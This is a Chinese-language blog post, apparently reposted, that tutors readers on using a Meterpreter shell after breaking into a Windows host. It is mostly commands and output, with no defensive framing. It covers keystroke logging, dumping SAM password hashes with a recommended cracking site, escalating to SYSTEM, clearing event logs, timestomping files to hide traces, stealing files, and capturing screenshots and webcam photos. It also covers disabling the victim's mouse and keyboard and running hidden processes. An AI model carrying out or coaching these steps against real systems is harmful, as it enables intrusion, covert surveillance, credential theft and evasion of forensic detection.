metasploit获取shell之后进一步利用!metasploit+sessions

来源:互联网 发布:淘宝服装照片拍摄方法 编辑:程序博客网 时间:2024/05/21 16:21

当你用metasploit成功的入侵一台Windows主机后,你会获得一个Meterpreter 的Shell,今天我就会给大家讲一讲Meterpreter 获取shell以后的运用

当你看到了

[*] Meterpreter session 1 opened (192.168.195.140:4444 -> 192.168.195.139:1051) 

这就代表这你在目标系统上成功的获得了Meterpreter的Shell

sessions -l 用于查看你控制的电脑

你会看到:

  1. Id Description Tunnel 
  2.  
  3. 4  meterpreter x86/win32  server-PC\Administrator @ SERVER-PC  192.168.195.140:4444 -> 192.168.195.1:52540 (192.168.195.1) 

 

注意前面的ID号

你要控制哪台就输入:

meterpreter >sessions -i  4

例如本次案例ID号为:4

meterpreter >sysinfo

显示目标系统信息

meterpreter > backround

退出目标系统,回到Metasploit主界面

meterpreter > ps

显示目标系统上的进程

meterpreter > keyscan_start

监控目标系统键盘输入,停止监控为keyscan_stop

meterpreter > migrate

将你的Meterpreter移到另一个进程

先用PS命令查看进程后,得到进程ID,然后在执行Migrate (进程ID)

meterpreter > ipconfig

显示对方网络信息

meterpreter > getuid

获取用户的服务器运行

meterpreter > shell

进入目标电脑,命令提示符

meterpreter > Idletime

目标电脑闲置了多长时间

meterpreter > Hashdump

导出对方SAM数据库里的内容,推荐一个hash破解网站:

http://www.objectif-securite.ch/products.php

meterpreter > getsystem

利用已自漏洞,自动提权为SYSTEM

meterpreter > clearev

清除事件日志

 meterpreter > execute (某Windows指令)

在对方电脑上运行该指令

  1. meterpreter > execute 
  2. Usage: execute -f file [options] 
  3.  
  4. Executes a command on the remote machine. 
  5.  
  6. OPTIONS: 
  7.  
  8.     -H        Create the process hidden from view. 
  9.     -a <opt>  The arguments to pass to the command. 
  10.     -c        Channelized I/O (required for interaction). 
  11.     -d <opt>  The 'dummy' executable to launch when using -m. 
  12.     -f <opt>  The executable command to run. 
  13.     -h        Help menu. 
  14.     -i        Interact with the process after creating it. 
  15.     -k        Execute process on the meterpreters current desktop 
  16.     -m        Execute from memory. 
  17.     -s <opt>  Execute process in a given session as the session user 
  18.     -t        Execute process with currently impersonated thread token 

meterpreter >timetomp

修改文件时间属性

meterpreter >timestomp c:\\jzking121.txt -c "09/09/1980 12:12:34"   修改文件创建时间

meterpreter > timestomp c:\\jzking121.txt -m "01/01/1991 12:12:34"  修改文件修改时间

 meterpreter > timestomp c:\\jzking121.txt -f c:\\RHDSetup.log 讲文件RHDSetup.log属性复制到jzking121文件上面

meterpreter > download (文件路径)

下载文件命令

例如下载C盘下面的jzking121.txt文件

meterpreter > download c:\\jzking121.txt

[*] downloading: c:\jzking121.txt -> jzking121.txt

[*] downloaded : c:\jzking121.txt -> jzking121.txt

注意,文件路径中要有两个\\
Upload指令跟Download指令类似!

 meterpreter > shutdown 

关闭目标计算机,reboot为重启计算机

meterpreter >screenshot

获取目标电脑,屏幕截图

 meterpreter > uictl enable keyboard 启用目标使用键盘

meterpreter > uictl disable mouse    禁止目标使用鼠标

enable 为启用

disable 禁用

 meterpreter > webcam_list

目标系统的摄像头列表

 meterpreter > webcam_snap

从指定的摄像头,拍摄照片

 meterpreter > search -d c:\\ -f 1.jpg

搜索目标电脑,C盘1.jpg文件

 

 

 

 

  1. meterpreter > help 
  2.  
  3. Core Commands 
  4. ============= 
  5.  
  6.     Command                   Description 
  7.     -------                   ----------- 
  8.     ?                         Help menu 
  9.     background                Backgrounds the current session 
  10.     bgkill                    Kills a background meterpreter script 
  11.     bglist                    Lists running background scripts 
  12.     bgrun                     Executes a meterpreter script as a background thread 
  13.     channel                   Displays information about active channels 
  14.     close                     Closes a channel 
  15.     disable_unicode_encoding  Disables encoding of unicode strings 
  16.     enable_unicode_encoding   Enables encoding of unicode strings 
  17.     exit                      Terminate the meterpreter session 
  18.     help                      Help menu 
  19.     info                      Displays information about a Post module 
  20.     interact                  Interacts with a channel 
  21.     irb                       Drop into irb scripting mode 
  22.     load                      Load one or more meterpreter extensions 
  23.     migrate                   Migrate the server to another process 
  24.     quit                      Terminate the meterpreter session 
  25.     read                      Reads data from a channel 
  26.     resource                  Run the commands stored in a file 
  27.     run                       Executes a meterpreter script or Post module 
  28.     use                       Deprecated alias for 'load' 
  29.     write                     Writes data to a channel 
  30.  
  31.  
  32. Stdapi: File system Commands 
  33. ============================ 
  34.  
  35.     Command       Description 
  36.     -------       ----------- 
  37.     cat           Read the contents of a file to the screen 
  38.     cd            Change directory 
  39.     download      Download a file or directory 
  40.     edit          Edit a file 
  41.     getlwd        Print local working directory 
  42.     getwd         Print working directory 
  43.     lcd           Change local working directory 
  44.     lpwd          Print local working directory 
  45.     ls            List files 
  46.     mkdir         Make directory 
  47.     pwd           Print working directory 
  48.     rm            Delete the specified file 
  49.     rmdir         Remove directory 
  50.     search        Search for files 
  51.     upload        Upload a file or directory 
  52.  
  53.  
  54. Stdapi: Networking Commands 
  55. =========================== 
  56.  
  57.     Command       Description 
  58.     -------       ----------- 
  59.     ifconfig      Display interfaces 
  60.     ipconfig      Display interfaces 
  61.     portfwd       Forward a local port to a remote service 
  62.     route         View and modify the routing table 
  63.  
  64.  
  65. Stdapi: System Commands 
  66. ======================= 
  67.  
  68.     Command       Description 
  69.     -------       ----------- 
  70.     clearev       Clear the event log 
  71.     drop_token    Relinquishes any active impersonation token. 
  72.     execute       Execute a command 
  73.     getpid        Get the current process identifier 
  74.     getprivs      Attempt to enable all privileges available to the current process 
  75.     getuid        Get the user that the server is running as 
  76.     kill          Terminate a process 
  77.     ps            List running processes 
  78.     reboot        Reboots the remote computer 
  79.     reg           Modify and interact with the remote registry 
  80.     rev2self      Calls RevertToSelf() on the remote machine 
  81.     shell         Drop into a system command shell 
  82.     shutdown      Shuts down the remote computer 
  83.     steal_token   Attempts to steal an impersonation token from the target process 
  84.     sysinfo       Gets information about the remote system, such as OS 
  85.  
  86.  
  87. Stdapi: User interface Commands 
  88. =============================== 
  89.  
  90.     Command        Description 
  91.     -------        ----------- 
  92.     enumdesktops   List all accessible desktops and window stations 
  93.     getdesktop     Get the current meterpreter desktop 
  94.     idletime       Returns the number of seconds the remote user has been idle 
  95.     keyscan_dump   Dump the keystroke buffer 
  96.     keyscan_start  Start capturing keystrokes 
  97.     keyscan_stop   Stop capturing keystrokes 
  98.     screenshot     Grab a screenshot of the interactive desktop 
  99.     setdesktop     Change the meterpreters current desktop 
  100.     uictl          Control some of the user interface components 
  101.  
  102.  
  103. Stdapi: Webcam Commands 
  104. ======================= 
  105.  
  106.     Command       Description 
  107.     -------       ----------- 
  108.     webcam_list   List webcams 
  109.     webcam_snap   Take a snapshot from the specified webcam 
  110.  
  111.  
  112. Priv: Elevate Commands 
  113. ====================== 
  114.  
  115.     Command       Description 
  116.     -------       ----------- 
  117.     getsystem     Attempt to elevate your privilege to that of local system. 
  118.  
  119.  
  120. Priv: Password database Commands 
  121. ================================ 
  122.  
  123.     Command       Description 
  124.     -------       ----------- 
  125.     hashdump      Dumps the contents of the SAM database 
  126.  
  127.  
  128. Priv: Timestomp Commands 
  129. ======================== 
  130.  
  131.     Command       Description 
  132.     -------       ----------- 
  133.     timestomp     Manipulate file MACE attributes 

 

本文出自 “jzking121' blog” 博客,请务必保留此出处http://jzking121.blog.51cto.com/5436671/1074524